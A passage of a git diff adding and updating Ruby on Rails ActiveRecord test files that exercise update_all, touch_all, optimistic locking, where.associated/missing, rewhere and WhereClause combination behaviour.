+      left = Post.order("body asc").where("id = 1").unscope(:order)
+      right = Post.order("body asc").where("id = 2")
+
+      assert_not left.structurally_compatible?(right)
+    end
+  end
+end
diff --git a/activerecord/test/cases/relation/update_all_test.rb b/activerecord/test/cases/relation/update_all_test.rb
new file mode 100644
index 0000000000000..99e638ebb9cfb
--- /dev/null
+++ b/activerecord/test/cases/relation/update_all_test.rb
@@ -0,0 +1,511 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/author"
+require "models/category"
+require "models/comment"
+require "models/company"
+require "models/computer"
+require "models/contract"
+require "models/developer"
+require "models/mentor"
+require "models/owner"
+require "models/post"
+require "models/person"
+require "models/pet"
+require "models/pet_treasure"
+require "models/ship"
+require "models/toy"
+require "models/topic"
+require "models/treasure"
+require "models/tag"
+require "models/tagging"
+require "models/warehouse_thing"
+require "models/cpk"
+
+class UpdateAllTest < ActiveRecord::TestCase
+  fixtures :authors, :author_addresses, :comments, :companies, :developers, :owners, :posts, :people, :pets, :toys, :tags,
+    :taggings, :treasures, "warehouse-things", :cpk_orders, :cpk_order_agreements
+
+  class TopicWithCallbacks < ActiveRecord::Base
+    self.table_name = :topics
+    cattr_accessor :topic_count
+    before_update { |topic| topic.author_name = "David" if topic.author_name.blank? }
+    after_update { |topic| topic.class.topic_count = topic.class.count }
+  end
+
+  def test_update_all_with_scope
+    tag = Tag.first
+    Post.tagged_with(tag.id).update_all(title: "rofl")
+    posts = Post.tagged_with(tag.id).all.to_a
+    assert_operator posts.length, :>, 0
+    posts.each { |post| assert_equal "rofl", post.title }
+  end
+
+  def test_update_all_with_non_standard_table_name
+    assert_equal 1, WarehouseThing.where(id: 1).update_all(["value = ?", 0])
+    assert_equal 0, WarehouseThing.find(1).value
+  end
+
+  def test_update_all_with_blank_argument
+    error = assert_raises(ArgumentError) { Comment.update_all({}) }
+
+    assert_equal "Empty list of attributes to change", error.message
+  end
+
+  def test_update_all_with_group_by
+    minimum_comments_count = 2
+
+    Post.most_commented(minimum_comments_count).update_all(title: "ig")
+    posts = Post.most_commented(minimum_comments_count).all.to_a
+
+    assert_operator posts.length, :>, 0
+    assert posts.all? { |post| post.comments.length >= minimum_comments_count }
+    assert posts.all? { |post| "ig" == post.title }
+
+    post = Post.joins(:comments).group("posts.id").having("count(comments.id) < #{minimum_comments_count}").first
+    assert_not_equal "ig", post.title
+  end
+
+  def test_update_all_with_joins_and_limit
+    pets = Pet.joins(:toys).where(toys: { name: "Bone" }).limit(2)
+
+    assert_equal true, pets.exists?
+    sqls = capture_sql do
+      assert_equal pets.count, pets.update_all(name: "Bob")
+    end
+
+    if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+      assert_no_match %r/SELECT DISTINCT #{Regexp.escape(quote_table_name("pets.pet_id"))}/, sqls.last
+    else
+      assert_match %r/SELECT #{Regexp.escape(quote_table_name("pets.pet_id"))}/, sqls.last
+    end
+  end
+
+  def test_update_all_with_unpermitted_relation_raises_error
+    assert_deprecated("`distinct` is not supported by `update_all`", ActiveRecord.deprecator) do
+      Author.distinct.update_all(name: "Bob")
+    end
+
+    assert_deprecated("`with` is not supported by `update_all`", ActiveRecord.deprecator) do
+      Author.with(limited: Author.where(name: "")).update_all(name: "Bob")
+    end
+  end
+
+  def test_dynamic_update_all_with_one_joined_table
+    update_fragment = if current_adapter?(:TrilogyAdapter, :Mysql2Adapter)
+      "toys.name = pets.name"
+    else # PostgreSQLAdapter, SQLite3Adapter
+      "name = pets.name"
+    end
+
+    toys = Toy.joins(:pet)
+    assert_equal 3, toys.count
+    assert_equal 3, toys.update_all(update_fragment)
+
+    toys.each do |toy|
+      assert_equal toy.pet.name, toy.name
+    end
+  end
+
+  def test_dynamic_update_all_with_a_through_join
+    pet = pets(:parrot)
+    treasure = treasures(:diamond)
+
+    PetTreasure.create(pet: pet, treasure: treasure)
+
+    assert_operator pet.treasures.left_joins(:ship).update_all(name: "Gold"), :>, 0
+    assert_equal("Gold", treasure.reload.name)
+  end
+
+  def test_dynamic_update_all_with_one_join_on_the_target_and_one_indirect_join
+    update_fragment = if current_adapter?(:TrilogyAdapter, :Mysql2Adapter)
+      "toys.name = owners.name"
+    else # PostgreSQLAdapter, SQLite3Adapter
+      "name = owners.name"
+    end
+
+    toys = Toy.joins(pet: [:owner])
+    assert_equal 3, toys.count
+    assert_equal 3, toys.update_all(update_fragment)
+
+    toys.each do |toy|
+      assert_equal toy.pet.owner.name, toy.name
+    end
+  end
+
+  def test_dynamic_update_all_with_two_joins_on_the_target
+    update_fragment = if current_adapter?(:TrilogyAdapter, :Mysql2Adapter)
+      "developers.name = mentors.name"
+    else # PostgreSQLAdapter, SQLite3Adapter
+      "name = mentors.name"
+    end
+
+    jamis, david, poor_jamis = developers(:jamis, :david, :poor_jamis)
+    jamis.update_columns(
+      firm_id: companies(:first_firm).id,
+      mentor_id: Mentor.create!(name: "John").id,
+    )
+    david.update_columns(
+      firm_id: companies(:another_firm).id,
+      mentor_id: Mentor.create!(name: "Goliath").id,
+    )
+    poor_jamis.update_columns(
+      firm_id: companies(:another_firm).id,
+      mentor_id: Mentor.create!(name: "Doe").id,
+    )
+
+    developers = Developer.joins(:firm, :mentor)
+    assert_equal 3, developers.count
+    assert_equal 3, developers.update_all(update_fragment)
+
+    developers.each do |developer|
+      assert_equal developer.name, developer.mentor.name
+    end
+  end
+
+  def test_update_all_with_left_joins
+    pets = Pet.left_joins(:toys).where(toys: { name: "Bone" })
+
+    assert_equal true, pets.exists?
+    assert_equal pets.count, pets.update_all(name: "Bob")
+  end
+
+  def test_update_all_with_left_outer_joins_can_reference_joined_table
+    pets = Pet.left_outer_joins(:toys).where(toys: { name: ["Bone", nil] })
+
+    assert_equal true, pets.exists?
+    assert_equal pets.count, pets.update_all(name: Arel.sql("COALESCE(toys.name, 'Toyless')"))
+    assert_equal "Toyless", Pet.where.missing(:toys).first.name
+    assert_not_equal "Toyless", Pet.joins(:toys).first.name
+  end
+
+  def test_update_all_with_string_joins_can_reference_joined_table
+    join = current_adapter?(:Mysql2Adapter, :TrilogyAdapter) ? "LEFT OUTER JOIN" : "FULL OUTER JOIN"
+    pets = Pet.joins("#{join} toys ON toys.pet_id = pets.pet_id").where(toys: { name: ["Bone", nil] })
+
+    assert_equal true, pets.exists?
+    assert_equal pets.count, pets.update_all(name: Arel.sql("COALESCE(toys.name, 'Toyless')"))
+    assert_equal "Toyless", Pet.where.missing(:toys).first.name
+    assert_not_equal "Toyless", Pet.joins(:toys).first.name
+  end
+
+  def test_update_all_with_self_left_joins_can_reference_joined_table
+    lvl2 = Comment.left_joins(parent: :parent).joins(:post).where(parent: { parent: nil }).where.not(parent: nil)
+
+    assert_equal true, lvl2.exists?
+    assert_equal lvl2.count, lvl2.update_all(body: Arel.sql("COALESCE(parent.body, posts.title)"))
+  end
+
+  def test_update_all_with_left_joins_composite_primary_key_can_reference_joined_table
+    orders = Cpk::Order.left_joins(:order_agreements).where(order_agreements: { order_id: nil })
+
+    assert_equal true, orders.exists?
+    assert_equal orders.count, orders.update_all(status: Arel.sql("COALESCE(order_agreements.signature, 'orphan')"))
+    assert_equal orders.count, Cpk::Order.where(status: "orphan").count
+  end
+
+  # Limitations of the implementation
+  if current_adapter?(:SQLite3Adapter, :PostgreSQLAdapter)
+    def test_update_all_with_left_joins_unqualified_set_reference_is_ambiguous
+      orders = Cpk::Order.left_joins(:order_agreements).where(order_agreements: { order_id: nil })
+
+      assert_raises(ActiveRecord::StatementInvalid, match: /ambiguous/) do
+        orders.update_all(status: Arel.sql("CONCAT(\"status\", 'orphan')"))
+      end
+    end
+
+    def test_update_all_with_left_joins_unqualified_where_reference_is_ambiguous
+      orders = Cpk::Order.left_joins(:order_agreements).where(order_agreements: { order_id: nil })
+
+      assert_raises(ActiveRecord::StatementInvalid, match: /ambiguous/) do
+        orders.where(Arel.sql("\"status\" != '123'")).update_all(status: "123")
+      end
+    end
+  end
+
+  def test_update_all_with_includes
+    pets = Pet.includes(:toys).where(toys: { name: "Bone" })
+
+    assert_equal true, pets.exists?
+    assert_equal pets.count, pets.update_all(name: "Bob")
+  end
+
+  def test_update_all_with_joins_and_limit_and_order
+    comments = Comment.joins(:post).where("posts.id" => posts(:welcome).id).order("comments.id").limit(1)
+    assert_equal 1, comments.count
+    assert_equal 1, comments.update_all(post_id: posts(:thinking).id)
+    assert_equal posts(:thinking), comments(:greetings).post
+    assert_equal posts(:welcome),  comments(:more_greetings).post
+  end
+
+  def test_update_all_with_joins_and_offset_and_order
+    comments = Comment.joins(:post).where("posts.id" => posts(:welcome).id).order("comments.id").offset(1)
+    assert_equal 1, comments.count
+    assert_equal 1, comments.update_all(post_id: posts(:thinking).id)
+    assert_equal posts(:thinking), comments(:more_greetings).post
+    assert_equal posts(:welcome),  comments(:greetings).post
+  end
+
+  def test_update_counters_with_joins
+    assert_nil pets(:parrot).integer
+
+    Pet.joins(:toys).where(toys: { name: "Bone" }).update_counters(integer: 1)
+
+    assert_equal 1, pets(:parrot).reload.integer
+  end
+
+  def test_touch_all_updates_records_timestamps
+    david = developers(:david)
+    david_previously_updated_at = david.updated_at
+    jamis = developers(:jamis)
+    jamis_previously_updated_at = jamis.updated_at
+    Developer.where(name: "David").touch_all
+
+    assert_not_equal david_previously_updated_at, david.reload.updated_at
+    assert_equal jamis_previously_updated_at, jamis.reload.updated_at
+  end
+
+  def test_touch_all_with_custom_timestamp
+    developer = developers(:david)
+    previously_created_at = developer.created_at
+    previously_updated_at = developer.updated_at
+    Developer.where(name: "David").touch_all(:created_at)
+    developer.reload
+
+    assert_not_equal previously_created_at, developer.created_at
+    assert_not_equal previously_updated_at, developer.updated_at
+  end
+
+  def test_touch_all_with_aliased_for_update_timestamp
+    assert Developer.attribute_aliases.key?("updated_at")
+
+    developer = developers(:david)
+    previously_created_at = developer.created_at
+    previously_updated_at = developer.updated_at
+    Developer.where(name: "David").touch_all(:updated_at)
+    developer.reload
+
+    assert_equal previously_created_at, developer.created_at
+    assert_not_equal previously_updated_at, developer.updated_at
+  end
+
+  def test_touch_all_with_given_time
+    developer = developers(:david)
+    previously_created_at = developer.created_at
+    previously_updated_at = developer.updated_at
+    new_time = Time.utc(2015, 2, 16, 4, 54, 0)
+    Developer.where(name: "David").touch_all(:created_at, time: new_time)
+    developer.reload
+
+    assert_not_equal previously_created_at, developer.created_at
+    assert_not_equal previously_updated_at, developer.updated_at
+    assert_equal new_time, developer.created_at
+    assert_equal new_time, developer.updated_at
+  end
+
+  def test_update_on_relation
+    topic1 = TopicWithCallbacks.create! title: "arel", author_name: nil
+    topic2 = TopicWithCallbacks.create! title: "activerecord", author_name: nil
+    topics = TopicWithCallbacks.where(id: [topic1.id, topic2.id])
+    topics.update(title: "adequaterecord")
+
+    assert_equal TopicWithCallbacks.count, TopicWithCallbacks.topic_count
+
+    assert_equal "adequaterecord", topic1.reload.title
+    assert_equal "adequaterecord", topic2.reload.title
+    # Testing that the before_update callbacks have run
+    assert_equal "David", topic1.reload.author_name
+    assert_equal "David", topic2.reload.author_name
+  end
+
+  def test_update_with_ids_on_relation
+    topic1 = TopicWithCallbacks.create!(title: "arel", author_name: nil)
+    topic2 = TopicWithCallbacks.create!(title: "activerecord", author_name: nil)
+    topics = TopicWithCallbacks.none
+    topics.update(
+      [topic1.id, topic2.id],
+      [{ title: "adequaterecord" }, { title: "adequaterecord" }]
+    )
+
+    assert_equal TopicWithCallbacks.count, TopicWithCallbacks.topic_count
+
+    assert_equal "adequaterecord", topic1.reload.title
+    assert_equal "adequaterecord", topic2.reload.title
+    # Testing that the before_update callbacks have run
+    assert_equal "David", topic1.reload.author_name
+    assert_equal "David", topic2.reload.author_name
+  end
+
+  def test_update_on_relation_passing_active_record_object_is_not_permitted
+    topic = Topic.create!(title: "Foo", author_name: nil)
+    assert_raises(ArgumentError) do
+      Topic.where(id: topic.id).update(topic, title: "Bar")
+    end
+  end
+
+  def test_update_bang_on_relation
+    topic1 = TopicWithCallbacks.create! title: "arel", author_name: nil
+    topic2 = TopicWithCallbacks.create! title: "activerecord", author_name: nil
+    topic3 = TopicWithCallbacks.create! title: "ar", author_name: nil
+    topics = TopicWithCallbacks.where(id: [topic1.id, topic2.id])
+    topics.update!(title: "adequaterecord")
+
+    assert_equal TopicWithCallbacks.count, TopicWithCallbacks.topic_count
+
+    assert_equal "adequaterecord", topic1.reload.title
+    assert_equal "adequaterecord", topic2.reload.title
+    assert_equal "ar", topic3.reload.title
+    # Testing that the before_update callbacks have run
+    assert_equal "David", topic1.reload.author_name
+    assert_equal "David", topic2.reload.author_name
+    assert_nil topic3.reload.author_name
+  end
+
+  def test_update_all_cares_about_optimistic_locking
+    david = people(:david)
+
+    travel 5.seconds do
+      now = Time.now.utc
+      assert_not_equal now, david.updated_at
+
+      people = Person.where(id: people(:michael, :david, :susan))
+      expected = people.pluck(:lock_version)
+      expected.map! { |version| version + 1 }
+      people.update_all(updated_at: now)
+
+      assert_equal [now] * 3, people.pluck(:updated_at)
+      assert_equal expected, people.pluck(:lock_version)
+
+      assert_raises(ActiveRecord::StaleObjectError) do
+        david.touch(time: now)
+      end
+    end
+  end
+
+  def test_update_counters_cares_about_optimistic_locking
+    david = people(:david)
+
+    travel 5.seconds do
+      now = Time.now.utc
+      assert_not_equal now, david.updated_at
+
+      people = Person.where(id: people(:michael, :david, :susan))
+      expected = people.pluck(:lock_version)
+      expected.map! { |version| version + 1 }
+      people.update_counters(touch: { time: now })
+
+      assert_equal [now] * 3, people.pluck(:updated_at)
+      assert_equal expected, people.pluck(:lock_version)
+
+      assert_raises(ActiveRecord::StaleObjectError) do
+        david.touch(time: now)
+      end
+    end
+  end
+
+  def test_touch_all_cares_about_optimistic_locking
+    david = people(:david)
+
+    travel 5.seconds do
+      now = Time.now.utc
+      assert_not_equal now, david.updated_at
+
+      people = Person.where(id: people(:michael, :david, :susan))
+      expected = people.pluck(:lock_version)
+      expected.map! { |version| version + 1 }
+      people.touch_all(time: now)
+
+      assert_equal [now] * 3, people.pluck(:updated_at)
+      assert_equal expected, people.pluck(:lock_version)
+
+      assert_raises(ActiveRecord::StaleObjectError) do
+        david.touch(time: now)
+      end
+    end
+  end
+
+  def test_klass_level_update_all
+    travel 5.seconds do
+      now = Time.now.utc
+
+      Person.all.each do |person|
+        assert_not_equal now, person.updated_at
+      end
+
+      Person.update_all(updated_at: now)
+
+      Person.all.each do |person|
+        assert_equal now, person.updated_at
+      end
+    end
+  end
+
+  def test_klass_level_touch_all
+    travel 5.seconds do
+      now = Time.now.utc
+
+      Person.all.each do |person|
+        assert_not_equal now, person.updated_at
+      end
+
+      Person.touch_all(time: now)
+
+      Person.all.each do |person|
+        assert_equal now, person.updated_at
+      end
+    end
+  end
+
+  def test_update_all_composite_model_with_join_subquery
+    agreement = cpk_order_agreements(:order_agreement_three)
+    join_scope = Cpk::Order.joins(:order_agreements).where(order_agreements: { signature: agreement.signature })
+    assert_equal 1, join_scope.update_all(status: "shipped")
+  end
+
+  def test_update_all_ignores_order_without_limit_from_association
+    author = authors(:david)
+    assert_nothing_raised do
+      assert_equal author.posts_with_comments_and_categories.length, author.posts_with_comments_and_categories.update_all([ "body = ?", "bulk update!" ])
+    end
+  end
+
+  def test_update_all_doesnt_ignore_order
+    assert_equal authors(:david).id + 1, authors(:mary).id # make sure there is going to be a duplicate PK error
+    test_update_with_order_succeeds = lambda do |order|
+      Author.order(order).update_all("id = id + 1")
+    rescue ActiveRecord::ActiveRecordError
+      false
+    end
+
+    if test_update_with_order_succeeds.call("id DESC")
+      # test that this wasn't a fluke and using an incorrect order results in an exception
+      assert_not test_update_with_order_succeeds.call("id ASC")
+    else
+      # test that we're failing because the current Arel's engine doesn't support UPDATE ORDER BY queries is using subselects instead
+      assert_queries_match(/\AUPDATE .+ \(SELECT .* ORDER BY id DESC\)\z/i) do
+        test_update_with_order_succeeds.call("id DESC")
+      end
+    end
+  end
+
+  def test_update_all_with_order_and_limit_updates_subset_only
+    author = authors(:david)
+    limited_posts = author.posts_sorted_by_id_limited
+    assert_equal 1, limited_posts.size
+    assert_equal 2, limited_posts.limit(2).size
+    assert_equal 1, limited_posts.update_all([ "body = ?", "bulk update!" ])
+    assert_equal "bulk update!", posts(:welcome).body
+    assert_not_equal "bulk update!", posts(:thinking).body
+  end
+
+  def test_update_all_with_order_and_limit_and_offset_updates_subset_only
+    author = authors(:david)
+    limited_posts = author.posts_sorted_by_id_limited.offset(1)
+    assert_equal 1, limited_posts.size
+    assert_equal 2, limited_posts.limit(2).size
+    assert_equal 1, limited_posts.update_all([ "body = ?", "bulk update!" ])
+    assert_equal "bulk update!", posts(:thinking).body
+    assert_not_equal "bulk update!", posts(:welcome).body
+  end
+end
diff --git a/activerecord/test/cases/relation/where_chain_test.rb b/activerecord/test/cases/relation/where_chain_test.rb
index a96d1ae5b5e9b..53adfd1d2b19b 100644
--- a/activerecord/test/cases/relation/where_chain_test.rb
+++ b/activerecord/test/cases/relation/where_chain_test.rb
@@ -1,14 +1,205 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/post"
+require "models/author"
+require "models/human"
+require "models/essay"
 require "models/comment"
+require "models/categorization"
+require "models/book"
+require "models/cpk"
 
 module ActiveRecord
   class WhereChainTest < ActiveRecord::TestCase
-    fixtures :posts
+    fixtures :posts, :comments, :authors, :humans, :essays, :author_addresses, :books
+
+    def test_associated_with_association
+      Post.where.associated(:author).tap do |relation|
+        assert_includes     relation, posts(:welcome)
+        assert_includes     relation, posts(:sti_habtm)
+        assert_not_includes relation, posts(:authorless)
+      end
+    end
+
+    def test_associated_with_child_association
+      Comment.where.associated(:children).tap do |relation|
+        assert_includes     relation, comments(:greetings)
+        assert_not_includes relation, comments(:more_greetings)
+      end
+    end
+
+    def test_associated_with_multiple_associations
+      Post.where.associated(:author, :comments).tap do |relation|
+        assert_includes     relation, posts(:welcome)
+        assert_not_includes relation, posts(:sti_habtm)
+        assert_not_includes relation, posts(:authorless)
+      end
+    end
+
+    def test_associated_with_invalid_association_name
+      e = assert_raises(ArgumentError) do
+        Post.where.associated(:cars).to_a
+      end
+
+      assert_match(/An association named `:cars` does not exist on the model `Post`\./, e.message)
+    end
+
+    def test_associated_merged_with_scope_on_association
+      assert_equal Author.find(1).posts.count, Post.where.associated(:author).merge(Author.where(id: 1)).count
+    end
+
+    def test_associated_unscoped_merged_with_scope_on_association
+      assert_equal Author.find(1).posts.count, Post.unscope(:where).where.associated(:author).merge(Author.where(id: 1)).count
+    end
+
+    def test_associated_unscoped_merged_joined_with_scope_on_association
+      assert_equal Author.find(1).posts.count, Post.joins(:author).unscope(:where).where.associated(:author).merge(Author.where(id: 1)).count
+    end
+
+    def test_associated_unscoped_merged_joined_extended_early_with_scope_on_association
+      assert_equal Author.find(1).posts.count, Post.extending(Post::NamedExtension).joins(:author).unscope(:where).where.associated(:author).merge(Author.where(id: 1)).count
+    end
+
+    def test_associated_unscoped_merged_joined_extended_late_with_scope_on_association
+      assert_equal Author.find(1).posts.count, Post.joins(:author).unscope(:where).where.associated(:author).merge(Author.where(id: 1)).extending(Post::NamedExtension).count
+    end
+
+    def test_associated_ordered_merged_with_scope_on_association
+      assert_equal Author.find(1).posts.count, Post.order(created_at: :desc).where.associated(:author).merge(Author.where(id: 1)).count
+    end
+
+    def test_associated_ordered_merged_joined_with_scope_on_association
+      assert_equal Author.find(1).posts.count, Post.joins(:author).order(created_at: :desc).where.associated(:author).merge(Author.where(id: 1)).count
+    end
+
+    def test_associated_with_enum
+      assert_equal Author.find(2), Author.joins(:reading_listing).where.associated(:reading_listing).first
+    end
+
+    def test_associated_with_enum_ordered
+      assert_equal Author.find(2), Author.order(id: :desc).joins(:reading_listing).where.associated(:reading_listing).first
+    end
+
+    def test_associated_with_enum_unscoped
+      assert_equal Author.find(2), Author.unscope(:where).joins(:reading_listing).where.associated(:reading_listing).first
+    end
+
+    def test_associated_with_enum_extended_early
+      assert_equal Author.find(2), Author.extending(Author::NamedExtension).order(id: :desc).joins(:reading_listing).where.associated(:reading_listing).first
+    end
+
+    def test_associated_with_enum_extended_late
+      assert_equal Author.find(2), Author.order(id: :desc).joins(:reading_listing).where.associated(:reading_listing).extending(Author::NamedExtension).first
+    end
+
+    def test_associated_with_add_joins_before
+      Comment.joins(:children).where.associated(:children).tap do |relation|
+        assert_includes     relation, comments(:greetings)
+        assert_not_includes relation, comments(:more_greetings)
+      end
+    end
+
+    def test_associated_with_add_left_joins_before
+      Comment.left_joins(:children).where.associated(:children).tap do |relation|
+        assert_includes     relation, comments(:greetings)
+        assert_not_includes relation, comments(:more_greetings)
+      end
+    end
+
+    def test_associated_with_add_left_outer_joins_before
+      Comment.left_outer_joins(:children).where.associated(:children).tap do |relation|
+        assert_includes     relation, comments(:greetings)
+        assert_not_includes relation, comments(:more_greetings)
+      end
+    end
+
+    def test_associated_with_composite_primary_key
+      author = Cpk::Author.create!(id: [1, 2])
+      Cpk::Book.create!(id: [author.id, 2])
+
+      assert_predicate Cpk::Author.where.associated(:books), :any?
+    end
+
+    def test_missing_with_association
+      assert_predicate posts(:authorless).author, :blank?
+      assert_equal [posts(:authorless)], Post.where.missing(:author).to_a
+    end
 
-    def setup
-      super
-      @name = "title"
+    def test_missing_with_child_association
+      Comment.where.missing(:children).tap do |relation|
+        assert_includes     relation, comments(:more_greetings)
+        assert_not_includes relation, comments(:greetings)
+      end
+    end
+
+    def test_missing_with_invalid_association_name
+      e = assert_raises(ArgumentError) do
+        Post.where.missing(:cars).to_a
+      end
+
+      assert_match(/An association named `:cars` does not exist on the model `Post`\./, e.message)
+    end
+
+    def test_missing_with_multiple_association
+      assert_predicate posts(:authorless).comments, :empty?
+      assert_equal [posts(:authorless)], Post.where.missing(:author, :comments).to_a
+    end
+
+    def test_missing_merged_with_scope_on_association
+      # This query does not make much logical sense, but it is testing
+      # that the generated SQL query is valid.
+      assert_equal Author.find(1).posts.count, Post.where.missing(:author).merge(Author.where(id: 1)).count
+    end
+
+    def test_missing_unscoped_merged_with_scope_on_association
+      assert_equal Author.find(1).posts.count, Post.joins(:author).unscope(:where).where.missing(:author).merge(Author.where(id: 1)).count
+    end
+
+    def test_missing_unscoped_merged_joined_with_scope_on_association
+      assert_equal Author.find(1).posts.count, Post.unscope(:where).where.missing(:author).merge(Author.where(id: 1)).count
+    end
+
+    def test_missing_ordered_merged_with_scope_on_association
+      assert_equal Author.find(1).posts.count, Post.order(created_at: :desc).where.missing(:author).merge(Author.where(id: 1)).count
+    end
+
+    def test_missing_ordered_merged_joined_with_scope_on_association
+      assert_equal Author.find(1).posts.count, Post.joins(:author).order(created_at: :desc).where.missing(:author).merge(Author.where(id: 1)).count
+    end
+
+    def test_missing_unscoped_merged_joined_extended_early_with_scope_on_association
+      assert_equal Author.find(1).posts.count, Post.extending(Post::NamedExtension).joins(:author).unscope(:where).where.missing(:author).merge(Author.where(id: 1)).count
+    end
+
+    def test_missing_unscoped_merged_joined_extended_late_with_scope_on_association
+      assert_equal Author.find(1).posts.count, Post.joins(:author).unscope(:where).where.missing(:author).merge(Author.where(id: 1)).extending(Post::NamedExtension).count
+    end
+
+    def test_missing_with_enum
+      assert_equal Author.find(2), Author.joins(:reading_listing).where.missing(:unread_listing).first
+    end
+
+    def test_missing_with_enum_ordered
+      assert_equal Author.find(2), Author.order(id: :desc).joins(:reading_listing).where.missing(:unread_listing).first
+    end
+
+    def test_missing_with_enum_unscoped
+      assert_equal Author.find(2), Author.unscope(:where).joins(:reading_listing).where.missing(:unread_listing).first
+    end
+
+    def test_missing_with_enum_extended_early
+      assert_equal Author.find(2), Author.extending(Author::NamedExtension).order(id: :desc).joins(:reading_listing).where.missing(:unread_listing).first
+    end
+
+    def test_missing_with_enum_extended_late
+      assert_equal Author.find(2), Author.order(id: :desc).joins(:reading_listing).where.missing(:unread_listing).extending(Author::NamedExtension).first
+    end
+
+    def test_missing_with_composite_primary_key
+      Cpk::Book.create!(id: [1, 2])
+
+      assert_predicate Cpk::Book.where.missing(:author), :any?
     end
 
     def test_not_inverts_where_clause
@@ -25,7 +216,7 @@ def test_not_with_nil
     end
 
     def test_association_not_eq
-      expected = Arel::Nodes::Grouping.new(Comment.arel_table[@name].not_eq(Arel::Nodes::BindParam.new))
+      expected = Comment.arel_table["title"].not_eq(Arel::Nodes::BindParam.new(1))
       relation = Post.joins(:comments).where.not(comments: { title: "hello" })
       assert_equal(expected.to_sql, relation.where_clause.ast.to_sql)
     end
@@ -58,48 +249,80 @@ def test_chaining_multiple
     end
 
     def test_rewhere_with_one_condition
-      relation = Post.where(title: "hello").where(title: "world").rewhere(title: "alone")
-      expected = Post.where(title: "alone")
+      relation = Post.where(body: "hello").where(body: "world").rewhere(body: "hullo")
+      expected = Post.where(body: "hullo")
 
-      assert_equal expected.where_clause, relation.where_clause
+      assert_equal expected.to_a, relation.to_a
     end
 
     def test_rewhere_with_multiple_overwriting_conditions
-      relation = Post.where(title: "hello").where(body: "world").rewhere(title: "alone", body: "again")
-      expected = Post.where(title: "alone", body: "again")
+      relation = Post.where(body: "hello").where(type: "StiPost").rewhere(body: "hullo", type: "Post")
+      expected = Post.where(body: "hullo", type: "Post")
 
-      assert_equal expected.where_clause, relation.where_clause
+      assert_equal expected.to_a, relation.to_a
     end
 
     def test_rewhere_with_one_overwriting_condition_and_one_unrelated
-      relation = Post.where(title: "hello").where(body: "world").rewhere(title: "alone")
-      expected = Post.where(body: "world", title: "alone")
+      relation = Post.where(body: "hello").where(type: "Post").rewhere(body: "hullo")
+      expected = Post.where(body: "hullo", type: "Post")
 
-      assert_equal expected.where_clause, relation.where_clause
+      assert_equal expected.to_a, relation.to_a
+    end
+
+    def test_rewhere_with_alias_condition
+      relation = Post.where(text: "hello").where(text: "world").rewhere(text: "hullo")
+      expected = Post.where(text: "hullo")
+
+      assert_equal expected.to_a, relation.to_a
+    end
+
+    def test_rewhere_with_nested_condition
+      relation = Post.where.missing(:comments).rewhere("comments.id": comments(:does_it_hurt))
+      expected = Post.left_joins(:comments).where("comments.id": comments(:does_it_hurt))
+
+      assert_equal expected.to_a, relation.to_a
+    end
+
+    def test_rewhere_with_polymorphic_association
+      relation = Essay.where(writer: authors(:david)).rewhere(writer: humans(:steve))
+      expected = Essay.where(writer: humans(:steve))
+
+      assert_equal expected.to_a, relation.to_a
     end
 
     def test_rewhere_with_range
       relation = Post.where(comments_count: 1..3).rewhere(comments_count: 3..5)
+      expected = Post.where(comments_count: 3..5)
 
-      assert_equal Post.where(comments_count: 3..5), relation
+      assert_equal expected.to_a, relation.to_a
     end
 
     def test_rewhere_with_infinite_upper_bound_range
       relation = Post.where(comments_count: 1..Float::INFINITY).rewhere(comments_count: 3..5)
+      expected = Post.where(comments_count: 3..5)
 
-      assert_equal Post.where(comments_count: 3..5), relation
+      assert_equal expected.to_a, relation.to_a
     end
 
     def test_rewhere_with_infinite_lower_bound_range
       relation = Post.where(comments_count: -Float::INFINITY..1).rewhere(comments_count: 3..5)
+      expected = Post.where(comments_count: 3..5)
 
-      assert_equal Post.where(comments_count: 3..5), relation
+      assert_equal expected.to_a, relation.to_a
     end
 
     def test_rewhere_with_infinite_range
       relation = Post.where(comments_count: -Float::INFINITY..Float::INFINITY).rewhere(comments_count: 3..5)
+      expected = Post.where(comments_count: 3..5)
+
+      assert_equal expected.to_a, relation.to_a
+    end
+
+    def test_rewhere_with_nil
+      relation = Post.where(comments_count: 16).rewhere(nil)
+      expected = Post.all
 
-      assert_equal Post.where(comments_count: 3..5), relation
+      assert_equal expected.to_a, relation.to_a
     end
   end
 end
diff --git a/activerecord/test/cases/relation/where_clause_test.rb b/activerecord/test/cases/relation/where_clause_test.rb
index d8e4c304f0655..b12c703acbcc7 100644
--- a/activerecord/test/cases/relation/where_clause_test.rb
+++ b/activerecord/test/cases/relation/where_clause_test.rb
@@ -1,122 +1,184 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 class ActiveRecord::Relation
   class WhereClauseTest < ActiveRecord::TestCase
     test "+ combines two where clauses" do
-      first_clause = WhereClause.new([table["id"].eq(bind_param)], [["id", 1]])
-      second_clause = WhereClause.new([table["name"].eq(bind_param)], [["name", "Sean"]])
+      first_clause = WhereClause.new([table["id"].eq(bind_param(1))])
+      second_clause = WhereClause.new([table["name"].eq(bind_param("Sean"))])
       combined = WhereClause.new(
-        [table["id"].eq(bind_param), table["name"].eq(bind_param)],
-        [["id", 1], ["name", "Sean"]],
+        [table["id"].eq(bind_param(1)), table["name"].eq(bind_param("Sean"))],
       )
 
       assert_equal combined, first_clause + second_clause
     end
 
     test "+ is associative, but not commutative" do
-      a = WhereClause.new(["a"], ["bind a"])
-      b = WhereClause.new(["b"], ["bind b"])
-      c = WhereClause.new(["c"], ["bind c"])
+      a = WhereClause.new([Arel.sql("a")])
+      b = WhereClause.new([Arel.sql("b")])
+      c = WhereClause.new([Arel.sql("c")])
 
       assert_equal a + (b + c), (a + b) + c
       assert_not_equal a + b, b + a
     end
 
     test "an empty where clause is the identity value for +" do
-      clause = WhereClause.new([table["id"].eq(bind_param)], [["id", 1]])
+      clause = WhereClause.new([table["id"].eq(bind_param(1))])
 
       assert_equal clause, clause + WhereClause.empty
     end
 
     test "merge combines two where clauses" do
-      a = WhereClause.new([table["id"].eq(1)], [])
-      b = WhereClause.new([table["name"].eq("Sean")], [])
-      expected = WhereClause.new([table["id"].eq(1), table["name"].eq("Sean")], [])
+      a = WhereClause.new([table["id"].eq(1)])
+      b = WhereClause.new([table["name"].eq("Sean")])
+      expected = WhereClause.new([table["id"].eq(1), table["name"].eq("Sean")])
 
       assert_equal expected, a.merge(b)
     end
 
     test "merge keeps the right side, when two equality clauses reference the same column" do
